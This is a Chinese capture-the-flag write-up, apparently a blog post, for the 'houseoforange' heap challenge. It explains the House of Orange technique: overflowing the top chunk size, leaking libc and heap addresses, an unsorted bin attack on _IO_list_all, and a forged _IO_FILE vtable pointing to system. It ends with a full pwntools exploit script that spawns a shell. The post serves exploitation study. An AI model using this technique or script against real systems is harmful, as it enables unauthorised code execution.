攻防世界 进阶 houseoforange

就是house of orange 跟题目名字一摸一样。

保护

在这里插入图片描述绿油油

在这里插入图片描述
build
在这里插入图片描述备注一写顿时简单了起来。

结构分析一下。

在这里插入图片描述那orange的颜色要么就是56746,要么就是0到6.

see

在这里插入图片描述然后呢这里56746跟30到36输出是不一样的。

upgrade

在这里插入图片描述

房子只能申请三个,改也只能改三次。
对修改的大小没有限制,所以就会有堆溢出。
那问题来了,怎么利用?

他没有free函数,这就是标准的house of orange

我们总体的思路是这样的。

创建第一个house,修改top_chunk的size
创建第二个house,触发sysmalloc中的_int_free
创建第三个house,泄露libc和heap的地址
创建第四个house,触发异常

一步一步来,首先说创建第一个house并且修改top_chunk的size。

通过堆溢出,修改top chunk的大小,然后分配一个大小大于top chunk大小的chunk,所以 旧top chunk就会被free掉,进入unsorted bin中,将其称为old top chunk 。
但是top chunk的size不能随便改,因为malloc中对它的大小有检查。

assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

看上去有些不好理解,总结起来就四点。

    大于MINSIZE(0X10)
    小于所需的大小 + MINSIZE
    prev inuse位设置为1
    old_top + oldsize的值是页对齐的
build(0x30,'a'*8,123,1)
payload = 'a'*0x30 + p64(0) + p64(0x21) +'a'*16+ p64(0)+ p64(0xf81)
upgrade(len(payload),payload,123,2)

第二步就是说我们让那个topchunk挂到unsorted bin中,那么我们就需要再次申请一个chunk,大小要大于刚刚的top chunk。但是要注意不能大于malloc的分配阈值,也就是mp_.mmap_threshold,否则的话会去调用mmap申请空间,会申请在libc上面。

在这里插入图片描述

build(0x1000,'b',123,1)
build(0x400,'a'*8,123,1)

第三步就需要我们去泄露地址。old chunk挂入unsorted bin中的时候我们可以去泄露libc的地址,申请回来泄露就好了,剩下的部分会进入large bin,我们再申请回来再泄露,就可以知道heap的地址。

see()
r.recvuntil("a"*8)
leak = u64(r.recv(6).ljust(8,'\x00'))
libc_base = leak -0x3c5188
print "leak -->[%s]"%hex(leak)
print "libc base address -->[%s]"%hex(libc_base)
#malloc largechunk again
#leak heap_base
upgrade(0x400,'a'*16,123,1)
see()
r.recvuntil('a'*16)
leak_heap = u64(r.recv(6).ljust(8,'\x00'))
heap_base = leak_heap - 0xe0
print "leak_heap -->[%s]"%hex(leak_heap)
print "heap_base -->[%s]"%hex(heap_base)

第四步是我们的第二个关键部分,前一个关键部分在于怎么去制造free的chunk来让我们去利用,后一个部分就是我们怎么通过攻击_IO_FILE来拿到我们的shell

首先我们想说一下要用到的原理。
当glibc检测到一些内存崩溃问题时,他会进入到Abort routine(中止过程),他会把所有的streams送到第一阶段中(stage one).换句话说就是,他会进入_IO_flush_all_lockp函数,并会使用_IO_FILE对象,而_IO_FILE对象会在_IO_list_all中被调用.如果我们能够重写这些指针并且伪造那个对象,那么我们就能拿到程序的控制权了。

所以我们可以想办法去伪造一个_IO_FILE的对象,并且把它挂在chain链中,然后触发_IO_flush_all_lockp来刷新缓冲区,当然此时我们的IO_overflow函数已经随便覆盖,buf指针也被随便覆盖,我们就可以去拿到shell
这种利用方法又被称为FSOP。

那么问题有来了,我们怎么通过一些已有的条件,去伪造结构体,然后把结构体挂在chain链上?
我们现在有的就是首先可以有一些控制的chunk,所以考虑可以直接把它伪造成fake chunk,我们又需要覆写现有的IO_FILE的chain指针,指向我们的文件,可以利用堆溢出,unsorted bin 来写地址的方法只有unsorted bin attack,所以我们大体的思路也就有了。

那么我们现在的问题就是首先通过unsorted bin attack来让chain的地方写上我们的chunk地址。
我们可以将bk指针覆盖为&IO_list_all -0x10,因此IO_list_all被重写为unsortbin-0x10。尤其要注意得是,_IO_list_all 并不是一个描述文件的结构,而是它指向了一个可以描述文件的结构体头部,通常它指向 IO_2_1_stderr 。

要将chunk的大小设置成0x60,0x60属于smallbin的范围了,所以此时的old_top被加入到smallbin[4]的链表中。IO_FILE偏移0x60的字段是struct _IO_marker *_markers,偏移0x68的字段是struct _IO_FILE *_chain。而这两个的值恰恰是old_top的起始地址。所以现在chain后面就连着个我们的chunk,我们就可以对他进行伪造,随便造,然后就可以了。

当然我们要注意是有检查的。溢出时即可在old top chunk处伪造好fake _IO_FILE结构,偏移0x20处为_IO_write_base,偏移0x28处为_IO_write_ptr,偏移0xc8处为_mode,偏移0xd8处为ptr_vtable

1._mode<=0
2._IO_write_base<IO_write_ptr

最后利用的是报错。
old_top的size被改写为0x60,本次分配的时候,会先从unsortbin中取下old_top,加入到smallbin[4],同时,unsortbin.bk也被改写成了&IO_list_all-0x10,所以此时的victim->size=0那么不会通过校验,进入malloc_printerr,触发异常。

具体一点怎么说呢,就是在我们unsorted bin attack结束之后,我们想一下,此时unsorted bin中会有什么,他会把我们之前的bck链进去呀,当我们再次去申请chunk的时候,一进来就会先对undorted里面的chunk做检查。

 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim);

我们此时的chunk的size位是0,因为刚刚bck是&_IO_list_all - 0x10, 所以size的地方是0,就会在if中的那个检查挂掉,然后从而完成攻击。

exp

payload = 'a'*0x400
payload += p64(0) + p64(0x21) + 'a'*0x10
#old_top_chunk=_IO_FILE
fake_file = '/bin/sh\x00' + p64(0x61)
fake_file += p64(0) + p64(_IO_list_all - 0x10)#unsorted bin attack
fake_file += p64(0) + p64(1) 
#bypass check
#_IO_FILE fp
#fp->_IO_write_base < fp->_IO_write_ptr (offset *(0x20)<*(0x28))
#fp->_mode<=0   (offset *(0xc8)<=0)
fake_file = fake_file.ljust(0xc0,'\x00')
payload += fake_file
payload += p64(0)*3
#0xc0+0x18=0xd8
#_IO_jump_t *ptr_vtable
#file_adr+0xd8=&ptr_vtable
#vtable[3]=overflow_adr
#gdb.attach(p)
payload += p64(heap_base + 0x5f0)#ptr_vtable
payload += p64(0)*3#vtable
payload += p64(system)#vtable[3]
upgrade(0x800,payload,123,1)
r.recv()
r.sendline('1')
#malloc size<=2*SIZE_SZ
#malloc(0x10) -> malloc_printerr ->overflow(IO_list_all) ->system('/bin/sh')

所以整个的exp

from pwn import *
from LibcSearcher import *


#r = process("./hitcon_2016_houseoforange")

context.log_level = 'debug'

elf = ELF("./140")
libc = ELF('./64/libc-2.23.so')

def add(size, content, price, color):
	r.recvuntil("Your choice : ")
	r.sendline('1')
	r.recvuntil("Length of name :")
	r.sendline(str(size))
	r.recvuntil("Name :")
	r.send(content)
	r.recvuntil("Price of Orange:")
	r.sendline(str(price))
	r.recvuntil("Color of Orange:")	#1-7
	r.sendline(str(color))


def show():
	r.recvuntil("Your choice : ")
	r.sendline('2')

def edit(size, content, price, color):
	r.recvuntil("Your choice : ")
	r.sendline('3')
	r.recvuntil("Length of name :")
	r.sendline(str(size))
	r.recvuntil("Name:")
	r.send(content)
	r.recvuntil("Price of Orange:")
	r.sendline(str(price))
	r.recvuntil("Color of Orange:")	#1-7
	r.sendline(str(color))



add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)

add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']

payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))

#pause()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
#pause()
r.recvuntil("Your choice : ")
r.sendline('1')

r.interactive()

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值